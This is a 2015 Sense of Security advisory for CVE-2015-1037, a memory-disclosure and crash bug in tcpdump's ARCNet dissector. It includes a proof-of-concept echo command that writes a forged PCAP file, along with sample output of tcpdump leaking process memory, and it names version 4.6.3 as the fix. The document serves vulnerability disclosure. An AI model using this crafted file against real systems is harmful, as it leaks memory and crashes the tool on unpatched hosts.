	Authorisation. Jason Edelstein
	Release date. 21 January 2015

Sense of Security – Security Advisory – SOS-15-001.

tcpdump Memory Disclosure Vulnerability

21 January 2015.

tcpdump - Security Advisory - SOS-15-001

Release Date.	21/01/2015
Last Update.	-
Vendor Notification Date.	05-Jan-2015
Product.	tcpdump
Platform.	Windows / *nix / Mac OSX
Affected versions.	4.1 – 4.6.2
Severity Rating.	Medium
Impact.	Memory disclosure Out-of-bound read access Denial of Service
Attack Vector.	Local
Solution Status.	Vendor update
CVE reference.	CVE-2015-1037

Details.

`tcpdump` is a common command line packet analyser. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. When dissecting an ARCNet packet type, tcpdump uses the length announced in the PCAP in the ARCNet header to read and display the packet content mapped in memory, by calling the function `hex_and_ascii_print_with_offset()`. If the captured length is less than the length announced in the packet (which can be forged), the call to `arcnet_if_print()` function will dump memory content, eventually causing tcpdump to generate a segmentation fault crash if the pointer reaches an invalid address.

Proof-of-Concept.

The following lines will generate a Proof-of-Concept PCAP file, called 'dump.pcap'. By replaying this PCAP file, tcpdump will dump 0x1000 bytes of the process memory.

```
$ echo '\xd4\xc3\xb2\xa1\x02\x00@\x00\x00\x16\x00\xed\x00\x00\x00\x00
\x00\x00\x00\x81\x00\x00\x00\xce`\xb3T\xff\x00\x00\x00\x10\x00\x00\x0
0\x08\x10\x00\x00\x00\x00\x00\x00\xd5\x00\x00\x00AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA' > dump.pcap
```

```
$ tcpdump --version
tcpdump version 4.6.2
libpcap version 1.6.2
OpenSSL 1.0.1j 15 Oct 2014
```

```
$ tcpdump -r dump.pcap
reading from file dump.pcap, link-type ARCNET_LINUX (Linux ARCNET)
17:18:53.000255 [|ARP]
0x0000:  4141 4141 4141 4141 ffff ffff ffff ffff  AAAAAAAA........
0x0010:  0000 0000 0000 0000 20b1 9d01 0000 0000  ................
[snip]
0x0c80:  4100 0000 0000 0000 2f6c 6962 2f78 3836  A......./lib/x86
0x0c90:  5f36 342d 6c69 6e75 782d 676e 7500 6c69  _64-linux-gnu.li
0x0ca0:  626e 7373 5f66 696c 6573 2e73 6f2e 3200  bnss_files.so.2.
0x0cb0:  2e73 6f2e 3200 0000 4000 0000 0000 0000  .so.2...@.......
0x0cc0:  3100 0000 0000 0000 b0bd 9d01 0000 0000  1...............
[snip]
```

Solution

Update to tcpdump version 4.6.3.

Discovered by

Christophe Alladoum from Sense of Security Labs

About us

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/web-application-security/
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-15-001.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php